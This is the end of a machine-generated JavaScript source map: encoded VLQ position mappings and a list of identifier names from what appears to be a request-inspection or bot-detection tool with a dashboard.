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","names":["body","import_node_crypto","body","init_types","init_types","check","masked","categories","detectors","init_types","hostname","normalizeIp","browser","digits","init_types","init_types","init_types","init_types","init_types","isNavigation","init_types","browser","detectors","init_types","MAX_HEADER_VALUE","REDACTED","escapeHtml","init_page","categories","init_types","MAX_HEADERS","stream","route","body","check","robots","DEFAULT_HOST","rules","init_page","init_types","init_page","init_types","detectors","startDashboard","body","hostname","bump","CORPUS","runCorpus","parseRequest","declared"]}